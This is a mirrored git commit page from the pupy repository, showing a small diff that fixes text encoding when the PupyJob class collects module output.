mirror of https://github.com/n1nj4sec/pupy.git
fix job encoding issue
This commit is contained in:
parent
1a0bd4e240
commit
22dff36939
|
@ -204,7 +204,8 @@ class PupyJob(object):
|
|||
res=""
|
||||
for m in self.pupymodules:
|
||||
res+=m.formatter.format_section(str(m.client))
|
||||
res+=m.stdout.getvalue()
|
||||
gv=m.stdout.getvalue()
|
||||
res+=gv.encode('utf8', errors="replace")
|
||||
res+="\n"
|
||||
m.stdout.truncate(0)
|
||||
return res
|
||||
|
|
Loading…
Reference in New Issue